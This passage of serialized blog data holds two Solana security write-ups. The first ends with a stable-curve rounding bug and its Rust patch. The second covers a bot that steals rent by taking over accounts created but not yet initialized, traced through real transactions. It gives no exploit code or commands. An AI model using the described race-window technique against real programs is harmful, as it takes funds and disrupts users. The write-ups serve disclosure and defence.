",{"type":24,"tag":2773,"props":10260,"children":10263},{"href":10261,"rel":10262},"https://github.com/solana-labs/solana-program-library",[2777],[10264],{"type":29,"value":10265},"the Solana Program Library",{"type":29,"value":87},{"type":24,"tag":25,"props":10268,"children":10269},{},[10270],{"type":29,"value":10271},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":24,"tag":25,"props":10273,"children":10274},{},[10275,10282],{"type":24,"tag":2773,"props":10276,"children":10279},{"href":10277,"rel":10278},"https://github.com/joncinque",[2777],[10280],{"type":29,"value":10281},"@joncinque",{"type":29,"value":10283}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":24,"tag":98,"props":10285,"children":10286},{},[10287],{"type":24,"tag":25,"props":10288,"children":10289},{},[10290],{"type":29,"value":10291},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":24,"tag":25,"props":10293,"children":10294},{},[10295,10297,10304,10306,10312],{"type":29,"value":10296},"After some thought, he helped ",{"type":24,"tag":2773,"props":10298,"children":10301},{"href":10299,"rel":10300},"https://github.com/solana-labs/solana-program-library/pull/2942",[2777],[10302],{"type":29,"value":10303},"introduce a PR",{"type":29,"value":10305}," which ceilings the computation in ",{"type":24,"tag":80,"props":10307,"children":10309},{"className":10308},[],[10310],{"type":29,"value":10311},"compute_new_destination_amount",{"type":29,"value":10313}," to correctly round within the stable curve math library.",{"type":24,"tag":137,"props":10315,"children":10317},{"code":10316,"language":8613,"meta":7,"className":8614,"style":7},"     // Solve for y by approximating: y**2 + b*y = c\n     let mut y_prev: U256;\n     let mut y = d_val;\n     for _ in 0..ITERATIONS {\n-        y_prev = y;\n-        y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n-            .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n-        if y == y_prev {\n+        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+        if y_new == y {\n             break;\n+        } else {\n+            y = y_new;\n         }\n",[10318],{"type":24,"tag":80,"props":10319,"children":10320},{"__ignoreMap":7},[10321,10329,10359,10386,10414,10438,10514,10618,10645,10740,10843,10870,10882,10901,10924],{"type":24,"tag":147,"props":10322,"children":10323},{"class":149,"line":150},[10324],{"type":24,"tag":147,"props":10325,"children":10326},{"style":154},[10327],{"type":29,"value":10328},"     // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":147,"props":10330,"children":10331},{"class":149,"line":160},[10332,10337,10341,10346,10350,10355],{"type":24,"tag":147,"props":10333,"children":10334},{"style":218},[10335],{"type":29,"value":10336},"     let",{"type":24,"tag":147,"props":10338,"children":10339},{"style":218},[10340],{"type":29,"value":8639},{"type":24,"tag":147,"props":10342,"children":10343},{"style":247},[10344],{"type":29,"value":10345}," y_prev",{"type":24,"tag":147,"props":10347,"children":10348},{"style":241},[10349],{"type":29,"value":978},{"type":24,"tag":147,"props":10351,"children":10352},{"style":9044},[10353],{"type":29,"value":10354}," U256",{"type":24,"tag":147,"props":10356,"children":10357},{"style":235},[10358],{"type":29,"value":432},{"type":24,"tag":147,"props":10360,"children":10361},{"class":149,"line":169},[10362,10366,10370,10374,10378,10382],{"type":24,"tag":147,"props":10363,"children":10364},{"style":218},[10365],{"type":29,"value":10336},{"type":24,"tag":147,"props":10367,"children":10368},{"style":218},[10369],{"type":29,"value":8639},{"type":24,"tag":147,"props":10371,"children":10372},{"style":247},[10373],{"type":29,"value":8644},{"type":24,"tag":147,"props":10375,"children":10376},{"style":241},[10377],{"type":29,"value":651},{"type":24,"tag":147,"props":10379,"children":10380},{"style":247},[10381],{"type":29,"value":8653},{"type":24,"tag":147,"props":10383,"children":10384},{"style":235},[10385],{"type":29,"value":432},{"type":24,"tag":147,"props":10387,"children":10388},{"class":149,"line":178},[10389,10394,10398,10402,10406,10410],{"type":24,"tag":147,"props":10390,"children":10391},{"style":321},[10392],{"type":29,"value":10393},"     for",{"type":24,"tag":147,"props":10395,"children":10396},{"style":247},[10397],{"type":29,"value":8669},{"type":24,"tag":147,"props":10399,"children":10400},{"style":218},[10401],{"type":29,"value":8674},{"type":24,"tag":147,"props":10403,"children":10404},{"style":705},[10405],{"type":29,"value":708},{"type":24,"tag":147,"props":10407,"children":10408},{"style":241},[10409],{"type":29,"value":8683},{"type":24,"tag":147,"props":10411,"children":10412},{"style":235},[10413],{"type":29,"value":8688},{"type":24,"tag":147,"props":10415,"children":10416},{"class":149,"line":187},[10417,10421,10426,10430,10434],{"type":24,"tag":147,"props":10418,"children":10419},{"style":241},[10420],{"type":29,"value":3470},{"type":24,"tag":147,"props":10422,"children":10423},{"style":247},[10424],{"type":29,"value":10425},"        y_prev",{"type":24,"tag":147,"props":10427,"children":10428},{"style":241},[10429],{"type":29,"value":651},{"type":24,"tag":147,"props":10431,"children":10432},{"style":247},[10433],{"type":29,"value":8644},{"type":24,"tag":147,"props":10435,"children":10436},{"style":235},[10437],{"type":29,"value":432},{"type":24,"tag":147,"props":10439,"children":10440},{"class":149,"line":196},[10441,10445,10450,10454,10458,10462,10466,10470,10474,10478,10482,10486,10490,10494,10498,10502,10506,10510],{"type":24,"tag":147,"props":10442,"children":10443},{"style":241},[10444],{"type":29,"value":3470},{"type":24,"tag":147,"props":10446,"children":10447},{"style":247},[10448],{"type":29,"value":10449},"        y",{"type":24,"tag":147,"props":10451,"children":10452},{"style":241},[10453],{"type":29,"value":651},{"type":24,"tag":147,"props":10455,"children":10456},{"style":235},[10457],{"type":29,"value":408},{"type":24,"tag":147,"props":10459,"children":10460},{"style":229},[10461],{"type":29,"value":8731},{"type":24,"tag":147,"props":10463,"children":10464},{"style":235},[10465],{"type":29,"value":480},{"type":24,"tag":147,"props":10467,"children":10468},{"style":241},[10469],{"type":29,"value":485},{"type":24,"tag":147,"props":10471,"children":10472},{"style":247},[10473],{"type":29,"value":8744},{"type":24,"tag":147,"props":10475,"children":10476},{"style":235},[10477],{"type":29,"value":546},{"type":24,"tag":147,"props":10479,"children":10480},{"style":705},[10481],{"type":29,"value":8753},{"type":24,"tag":147,"props":10483,"children":10484},{"style":235},[10485],{"type":29,"value":8758},{"type":24,"tag":147,"props":10487,"children":10488},{"style":241},[10489],{"type":29,"value":8763},{"type":24,"tag":147,"props":10491,"children":10492},{"style":229},[10493],{"type":29,"value":8768},{"type":24,"tag":147,"props":10495,"children":10496},{"style":235},[10497],{"type":29,"value":480},{"type":24,"tag":147,"props":10499,"children":10500},{"style":247},[10501],{"type":29,"value":140},{"type":24,"tag":147,"props":10503,"children":10504},{"style":235},[10505],{"type":29,"value":8758},{"type":24,"tag":147,"props":10507,"children":10508},{"style":241},[10509],{"type":29,"value":8785},{"type":24,"tag":147,"props":10511,"children":10512},{"style":235},[10513],{"type":29,"value":269},{"type":24,"tag":147,"props":10515,"children":10516},{"class":149,"line":205},[10517,10521,10525,10530,10534,10538,10542,10546,10550,10554,10558,10562,10566,10570,10574,10578,10582,10586,10590,10594,10598,10602,10606,10610,10614],{"type":24,"tag":147,"props":10518,"children":10519},{"style":241},[10520],{"type":29,"value":3470},{"type":24,"tag":147,"props":10522,"children":10523},{"style":241},[10524],{"type":29,"value":8797},{"type":24,"tag":147,"props":10526,"children":10527},{"style":229},[10528],{"type":29,"value":10529},"checked_div",{"type":24,"tag":147,"props":10531,"children":10532},{"style":235},[10533],{"type":29,"value":480},{"type":24,"tag":147,"props":10535,"children":10536},{"style":229},[10537],{"type":29,"value":8811},{"type":24,"tag":147,"props":10539,"children":10540},{"style":235},[10541],{"type":29,"value":480},{"type":24,"tag":147,"props":10543,"children":10544},{"style":241},[10545],{"type":29,"value":485},{"type":24,"tag":147,"props":10547,"children":10548},{"style":247},[10549],{"type":29,"value":8744},{"type":24,"tag":147,"props":10551,"children":10552},{"style":235},[10553],{"type":29,"value":546},{"type":24,"tag":147,"props":10555,"children":10556},{"style":705},[10557],{"type":29,"value":8753},{"type":24,"tag":147,"props":10559,"children":10560},{"style":235},[10561],{"type":29,"value":8758},{"type":24,"tag":147,"props":10563,"children":10564},{"style":241},[10565],{"type":29,"value":8763},{"type":24,"tag":147,"props":10567,"children":10568},{"style":229},[10569],{"type":29,"value":8768},{"type":24,"tag":147,"props":10571,"children":10572},{"style":235},[10573],{"type":29,"value":480},{"type":24,"tag":147,"props":10575,"children":10576},{"style":247},[10577],{"type":29,"value":8852},{"type":24,"tag":147,"props":10579,"children":10580},{"style":235},[10581],{"type":29,"value":8758},{"type":24,"tag":147,"props":10583,"children":10584},{"style":241},[10585],{"type":29,"value":8763},{"type":24,"tag":147,"props":10587,"children":10588},{"style":229},[10589],{"type":29,"value":8865},{"type":24,"tag":147,"props":10591,"children":10592},{"style":235},[10593],{"type":29,"value":480},{"type":24,"tag":147,"props":10595,"children":10596},{"style":247},[10597],{"type":29,"value":8874},{"type":24,"tag":147,"props":10599,"children":10600},{"style":235},[10601],{"type":29,"value":8758},{"type":24,"tag":147,"props":10603,"children":10604},{"style":241},[10605],{"type":29,"value":8785},{"type":24,"tag":147,"props":10607,"children":10608},{"style":235},[10609],{"type":29,"value":8758},{"type":24,"tag":147,"props":10611,"children":10612},{"style":241},[10613],{"type":29,"value":8785},{"type":24,"tag":147,"props":10615,"children":10616},{"style":235},[10617],{"type":29,"value":432},{"type":24,"tag":147,"props":10619,"children":10620},{"class":149,"line":214},[10621,10625,10629,10633,10637,10641],{"type":24,"tag":147,"props":10622,"children":10623},{"style":241},[10624],{"type":29,"value":3470},{"type":24,"tag":147,"props":10626,"children":10627},{"style":321},[10628],{"type":29,"value":403},{"type":24,"tag":147,"props":10630,"children":10631},{"style":247},[10632],{"type":29,"value":8644},{"type":24,"tag":147,"props":10634,"children":10635},{"style":241},[10636],{"type":29,"value":8911},{"type":24,"tag":147,"props":10638,"children":10639},{"style":247},[10640],{"type":29,"value":10345},{"type":24,"tag":147,"props":10642,"children":10643},{"style":235},[10644],{"type":29,"value":6630},{"type":24,"tag":147,"props":10646,"children":10647},{"class":149,"line":272},[10648,10652,10656,10660,10664,10668,10672,10676,10680,10684,10688,10692,10696,10700,10704,10708,10712,10716,10720,10724,10728,10732,10736],{"type":24,"tag":147,"props":10649,"children":10650},{"style":241},[10651],{"type":29,"value":624},{"type":24,"tag":147,"props":10653,"children":10654},{"style":218},[10655],{"type":29,"value":8696},{"type":24,"tag":147,"props":10657,"children":10658},{"style":235},[10659],{"type":29,"value":408},{"type":24,"tag":147,"props":10661,"children":10662},{"style":247},[10663],{"type":29,"value":8705},{"type":24,"tag":147,"props":10665,"children":10666},{"style":235},[10667],{"type":29,"value":546},{"type":24,"tag":147,"props":10669,"children":10670},{"style":247},[10671],{"type":29,"value":8714},{"type":24,"tag":147,"props":10673,"children":10674},{"style":235},[10675],{"type":29,"value":564},{"type":24,"tag":147,"props":10677,"children":10678},{"style":241},[10679],{"type":29,"value":369},{"type":24,"tag":147,"props":10681,"children":10682},{"style":235},[10683],{"type":29,"value":408},{"type":24,"tag":147,"props":10685,"children":10686},{"style":229},[10687],{"type":29,"value":8731},{"type":24,"tag":147,"props":10689,"children":10690},{"style":235},[10691],{"type":29,"value":480},{"type":24,"tag":147,"props":10693,"children":10694},{"style":241},[10695],{"type":29,"value":485},{"type":24,"tag":147,"props":10697,"children":10698},{"style":247},[10699],{"type":29,"value":8744},{"type":24,"tag":147,"props":10701,"children":10702},{"style":235},[10703],{"type":29,"value":546},{"type":24,"tag":147,"props":10705,"children":10706},{"style":705},[10707],{"type":29,"value":8753},{"type":24,"tag":147,"props":10709,"children":10710},{"style":235},[10711],{"type":29,"value":8758},{"type":24,"tag":147,"props":10713,"children":10714},{"style":241},[10715],{"type":29,"value":8763},{"type":24,"tag":147,"props":10717,"children":10718},{"style":229},[10719],{"type":29,"value":8768},{"type":24,"tag":147,"props":10721,"children":10722},{"style":235},[10723],{"type":29,"value":480},{"type":24,"tag":147,"props":10725,"children":10726},{"style":247},[10727],{"type":29,"value":140},{"type":24,"tag":147,"props":10729,"children":10730},{"style":235},[10731],{"type":29,"value":8758},{"type":24,"tag":147,"props":10733,"children":10734},{"style":241},[10735],{"type":29,"value":8785},{"type":24,"tag":147,"props":10737,"children":10738},{"style":235},[10739],{"type":29,"value":269},{"type":24,"tag":147,"props":10741,"children":10742},{"class":149,"line":281},[10743,10747,10751,10755,10759,10763,10767,10771,10775,10779,10783,10787,10791,10795,10799,10803,10807,10811,10815,10819,10823,10827,10831,10835,10839],{"type":24,"tag":147,"props":10744,"children":10745},{"style":241},[10746],{"type":29,"value":624},{"type":24,"tag":147,"props":10748,"children":10749},{"style":241},[10750],{"type":29,"value":8797},{"type":24,"tag":147,"props":10752,"children":10753},{"style":229},[10754],{"type":29,"value":8802},{"type":24,"tag":147,"props":10756,"children":10757},{"style":235},[10758],{"type":29,"value":480},{"type":24,"tag":147,"props":10760,"children":10761},{"style":229},[10762],{"type":29,"value":8811},{"type":24,"tag":147,"props":10764,"children":10765},{"style":235},[10766],{"type":29,"value":480},{"type":24,"tag":147,"props":10768,"children":10769},{"style":241},[10770],{"type":29,"value":485},{"type":24,"tag":147,"props":10772,"children":10773},{"style":247},[10774],{"type":29,"value":8744},{"type":24,"tag":147,"props":10776,"children":10777},{"style":235},[10778],{"type":29,"value":546},{"type":24,"tag":147,"props":10780,"children":10781},{"style":705},[10782],{"type":29,"value":8753},{"type":24,"tag":147,"props":10784,"children":10785},{"style":235},[10786],{"type":29,"value":8758},{"type":24,"tag":147,"props":10788,"children":10789},{"style":241},[10790],{"type":29,"value":8763},{"type":24,"tag":147,"props":10792,"children":10793},{"style":229},[10794],{"type":29,"value":8768},{"type":24,"tag":147,"props":10796,"children":10797},{"style":235},[10798],{"type":29,"value":480},{"type":24,"tag":147,"props":10800,"children":10801},{"style":247},[10802],{"type":29,"value":8852},{"type":24,"tag":147,"props":10804,"children":10805},{"style":235},[10806],{"type":29,"value":8758},{"type":24,"tag":147,"props":10808,"children":10809},{"style":241},[10810],{"type":29,"value":8763},{"type":24,"tag":147,"props":10812,"children":10813},{"style":229},[10814],{"type":29,"value":8865},{"type":24,"tag":147,"props":10816,"children":10817},{"style":235},[10818],{"type":29,"value":480},{"type":24,"tag":147,"props":10820,"children":10821},{"style":247},[10822],{"type":29,"value":8874},{"type":24,"tag":147,"props":10824,"children":10825},{"style":235},[10826],{"type":29,"value":8758},{"type":24,"tag":147,"props":10828,"children":10829},{"style":241},[10830],{"type":29,"value":8785},{"type":24,"tag":147,"props":10832,"children":10833},{"style":235},[10834],{"type":29,"value":8758},{"type":24,"tag":147,"props":10836,"children":10837},{"style":241},[10838],{"type":29,"value":8785},{"type":24,"tag":147,"props":10840,"children":10841},{"style":235},[10842],{"type":29,"value":432},{"type":24,"tag":147,"props":10844,"children":10845},{"class":149,"line":299},[10846,10850,10854,10858,10862,10866],{"type":24,"tag":147,"props":10847,"children":10848},{"style":241},[10849],{"type":29,"value":624},{"type":24,"tag":147,"props":10851,"children":10852},{"style":321},[10853],{"type":29,"value":403},{"type":24,"tag":147,"props":10855,"children":10856},{"style":247},[10857],{"type":29,"value":8906},{"type":24,"tag":147,"props":10859,"children":10860},{"style":241},[10861],{"type":29,"value":8911},{"type":24,"tag":147,"props":10863,"children":10864},{"style":247},[10865],{"type":29,"value":8644},{"type":24,"tag":147,"props":10867,"children":10868},{"style":235},[10869],{"type":29,"value":6630},{"type":24,"tag":147,"props":10871,"children":10872},{"class":149,"line":308},[10873,10878],{"type":24,"tag":147,"props":10874,"children":10875},{"style":321},[10876],{"type":29,"value":10877},"             break",{"type":24,"tag":147,"props":10879,"children":10880},{"style":235},[10881],{"type":29,"value":432},{"type":24,"tag":147,"props":10883,"children":10884},{"class":149,"line":317},[10885,10889,10893,10897],{"type":24,"tag":147,"props":10886,"children":10887},{"style":241},[10888],{"type":29,"value":624},{"type":24,"tag":147,"props":10890,"children":10891},{"style":235},[10892],{"type":29,"value":8938},{"type":24,"tag":147,"props":10894,"children":10895},{"style":321},[10896],{"type":29,"value":6625},{"type":24,"tag":147,"props":10898,"children":10899},{"style":235},[10900],{"type":29,"value":6630},{"type":24,"tag":147,"props":10902,"children":10903},{"class":149,"line":332},[10904,10908,10912,10916,10920],{"type":24,"tag":147,"props":10905,"children":10906},{"style":241},[10907],{"type":29,"value":624},{"type":24,"tag":147,"props":10909,"children":10910},{"style":247},[10911],{"type":29,"value":8954},{"type":24,"tag":147,"props":10913,"children":10914},{"style":241},[10915],{"type":29,"value":651},{"type":24,"tag":147,"props":10917,"children":10918},{"style":247},[10919],{"type":29,"value":8906},{"type":24,"tag":147,"props":10921,"children":10922},{"style":235},[10923],{"type":29,"value":432},{"type":24,"tag":147,"props":10925,"children":10926},{"class":149,"line":350},[10927],{"type":24,"tag":147,"props":10928,"children":10929},{"style":235},[10930],{"type":29,"value":10931},"         }\n",{"type":24,"tag":32,"props":10933,"children":10935},{"id":10934},"closing-thoughts",[10936],{"type":29,"value":10937},"Closing Thoughts",{"type":24,"tag":25,"props":10939,"children":10940},{},[10941],{"type":29,"value":10942},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":24,"tag":25,"props":10944,"children":10945},{},[10946,10948,10954],{"type":29,"value":10947},"Another interesting takeaway is that ",{"type":24,"tag":10949,"props":10950,"children":10951},"strong",{},[10952],{"type":29,"value":10953},"fuzzing can give a false sense of security",{"type":29,"value":10955},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":24,"tag":25,"props":10957,"children":10958},{},[10959,10961,10968],{"type":29,"value":10960},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":24,"tag":2773,"props":10962,"children":10965},{"href":10963,"rel":10964},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[2777],[10966],{"type":29,"value":10967},"port-mortem of the NSS overflow",{"type":29,"value":87},{"type":24,"tag":25,"props":10970,"children":10971},{},[10972],{"type":24,"tag":63,"props":10973,"children":10975},{"alt":7,"src":10974},"/posts/spl-swap/p0.png",[],{"type":24,"tag":25,"props":10977,"children":10978},{},[10979],{"type":29,"value":10980},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":24,"tag":25,"props":10982,"children":10983},{},[10984],{"type":29,"value":10985},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":24,"tag":25,"props":10987,"children":10988},{},[10989],{"type":29,"value":10990},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":24,"tag":8473,"props":10992,"children":10993},{},[10994],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":10996},[10997,10998,10999,11000],{"id":8552,"depth":160,"text":8555},{"id":9546,"depth":160,"text":9549},{"id":9851,"depth":160,"text":9854},{"id":10934,"depth":160,"text":10937},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":11005,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":11006,"description":11007,"image":11008,"date":11012,"isFeatured":16,"onBlogPage":16,"tags":11013,"body":11014,"_type":8496,"_id":11337,"_source":8498,"_file":11338,"_stem":11339,"_extension":8501},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":11009,"width":11010,"height":11011},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[8513,8514],{"type":21,"children":11015,"toc":11330},[11016,11021,11027,11032,11037,11042,11048,11061,11108,11138,11147,11152,11157,11162,11168,11181,11197,11202,11207,11222,11226,11231,11246,11253,11258,11268,11275,11279,11284,11290,11295,11300,11305,11311,11316],{"type":24,"tag":25,"props":11017,"children":11018},{},[11019],{"type":29,"value":11020},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":24,"tag":32,"props":11022,"children":11024},{"id":11023},"background",[11025],{"type":29,"value":11026},"Background",{"type":24,"tag":25,"props":11028,"children":11029},{},[11030],{"type":29,"value":11031},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":24,"tag":25,"props":11033,"children":11034},{},[11035],{"type":29,"value":11036},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":24,"tag":25,"props":11038,"children":11039},{},[11040],{"type":29,"value":11041},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":24,"tag":32,"props":11043,"children":11045},{"id":11044},"the-exploit",[11046],{"type":29,"value":11047},"The Exploit",{"type":24,"tag":25,"props":11049,"children":11050},{},[11051,11053,11059],{"type":29,"value":11052},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":24,"tag":80,"props":11054,"children":11056},{"className":11055},[],[11057],{"type":29,"value":11058},"init_reserve",{"type":29,"value":11060}," function, which creates 6 new accounts to store data about the reserve:",{"type":24,"tag":2674,"props":11062,"children":11063},{},[11064,11069,11074,11079,11090,11095],{"type":24,"tag":2678,"props":11065,"children":11066},{},[11067],{"type":29,"value":11068},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":24,"tag":2678,"props":11070,"children":11071},{},[11072],{"type":29,"value":11073},"reserve liquidity token account - holds deposited tokens",{"type":24,"tag":2678,"props":11075,"children":11076},{},[11077],{"type":29,"value":11078},"fee receiver token account - account which will receive origination fees on borrows",{"type":24,"tag":2678,"props":11080,"children":11081},{},[11082,11084],{"type":29,"value":11083},"reserve collateral mint account - deposit receipt token, also known as ",{"type":24,"tag":80,"props":11085,"children":11087},{"className":11086},[],[11088],{"type":29,"value":11089},"cTokens",{"type":24,"tag":2678,"props":11091,"children":11092},{},[11093],{"type":29,"value":11094},"reserve collateral token account - holds users' collateral tokens",{"type":24,"tag":2678,"props":11096,"children":11097},{},[11098,11100,11106],{"type":29,"value":11099},"creator collateral token account - creator's ",{"type":24,"tag":80,"props":11101,"children":11103},{"className":11102},[],[11104],{"type":29,"value":11105},"cToken",{"type":29,"value":11107}," account",{"type":24,"tag":25,"props":11109,"children":11110},{},[11111,11113,11118,11120,11125,11126,11131,11133],{"type":29,"value":11112},"Account creation and initialization are ",{"type":24,"tag":8545,"props":11114,"children":11115},{},[11116],{"type":29,"value":11117},"usually",{"type":29,"value":11119}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":24,"tag":80,"props":11121,"children":11123},{"className":11122},[],[11124],{"type":29,"value":11058},{"type":29,"value":5819},{"type":24,"tag":8545,"props":11127,"children":11128},{},[11129],{"type":29,"value":11130},"supposed",{"type":29,"value":11132}," to look like:\n",{"type":24,"tag":63,"props":11134,"children":11137},{"src":11135,"alt":11136},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":24,"tag":25,"props":11139,"children":11140},{},[11141,11143],{"type":29,"value":11142},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":24,"tag":63,"props":11144,"children":11146},{"src":11145,"alt":11136},"/posts/rent-thief/attacktransac.png",[],{"type":24,"tag":25,"props":11148,"children":11149},{},[11150],{"type":29,"value":11151},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":24,"tag":25,"props":11153,"children":11154},{},[11155],{"type":29,"value":11156},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":24,"tag":25,"props":11158,"children":11159},{},[11160],{"type":29,"value":11161},"Despite this lost cost, this is pretty annoying...",{"type":24,"tag":32,"props":11163,"children":11165},{"id":11164},"example",[11166],{"type":29,"value":11167},"Example",{"type":24,"tag":25,"props":11169,"children":11170},{},[11171,11173,11180],{"type":29,"value":11172},"Let's take a look at ",{"type":24,"tag":2773,"props":11174,"children":11177},{"href":11175,"rel":11176},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[2777],[11178],{"type":29,"value":11179},"a real attack",{"type":29,"value":87},{"type":24,"tag":25,"props":11182,"children":11183},{},[11184,11191,11193],{"type":24,"tag":2773,"props":11185,"children":11188},{"href":11186,"rel":11187},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[2777],[11189],{"type":29,"value":11190},"Transaction 1",{"type":29,"value":11192},":\n",{"type":24,"tag":63,"props":11194,"children":11196},{"alt":7,"src":11195},"https://i.imgur.com/xJvIwgc.png",[],{"type":24,"tag":25,"props":11198,"children":11199},{},[11200],{"type":29,"value":11201},"(...more accounts truncated)",{"type":24,"tag":25,"props":11203,"children":11204},{},[11205],{"type":29,"value":11206},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":24,"tag":25,"props":11208,"children":11209},{},[11210,11217,11218],{"type":24,"tag":2773,"props":11211,"children":11214},{"href":11212,"rel":11213},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[2777],[11215],{"type":29,"value":11216},"Attacker's Transaction",{"type":29,"value":11192},{"type":24,"tag":63,"props":11219,"children":11221},{"alt":7,"src":11220},"https://i.imgur.com/CpSKuL3.png",[],{"type":24,"tag":25,"props":11223,"children":11224},{},[11225],{"type":29,"value":11201},{"type":24,"tag":25,"props":11227,"children":11228},{},[11229],{"type":29,"value":11230},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":24,"tag":25,"props":11232,"children":11233},{},[11234,11241,11242],{"type":24,"tag":2773,"props":11235,"children":11238},{"href":11236,"rel":11237},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[2777],[11239],{"type":29,"value":11240},"Transaction 2",{"type":29,"value":11192},{"type":24,"tag":63,"props":11243,"children":11245},{"alt":7,"src":11244},"https://i.imgur.com/of0GIdw.png",[],{"type":24,"tag":25,"props":11247,"children":11248},{},[11249],{"type":24,"tag":63,"props":11250,"children":11252},{"alt":7,"src":11251},"https://i.imgur.com/0STSyv8.png",[],{"type":24,"tag":25,"props":11254,"children":11255},{},[11256],{"type":29,"value":11257},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":24,"tag":25,"props":11259,"children":11260},{},[11261,11267],{"type":24,"tag":2773,"props":11262,"children":11265},{"href":11263,"rel":11264},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[2777],[11266],{"type":29,"value":11216},{"type":29,"value":978},{"type":24,"tag":25,"props":11269,"children":11270},{},[11271],{"type":24,"tag":63,"props":11272,"children":11274},{"alt":7,"src":11273},"https://i.imgur.com/AmSPdmy.png",[],{"type":24,"tag":25,"props":11276,"children":11277},{},[11278],{"type":29,"value":11201},{"type":24,"tag":25,"props":11280,"children":11281},{},[11282],{"type":29,"value":11283},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":24,"tag":32,"props":11285,"children":11287},{"id":11286},"impact",[11288],{"type":29,"value":11289},"Impact",{"type":24,"tag":25,"props":11291,"children":11292},{},[11293],{"type":29,"value":11294},"Rent-thieving attacks don't steal much money.",{"type":24,"tag":25,"props":11296,"children":11297},{},[11298],{"type":29,"value":11299},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":24,"tag":25,"props":11301,"children":11302},{},[11303],{"type":29,"value":11304},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":24,"tag":32,"props":11306,"children":11308},{"id":11307},"solution",[11309],{"type":29,"value":11310},"Solution",{"type":24,"tag":25,"props":11312,"children":11313},{},[11314],{"type":29,"value":11315},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and 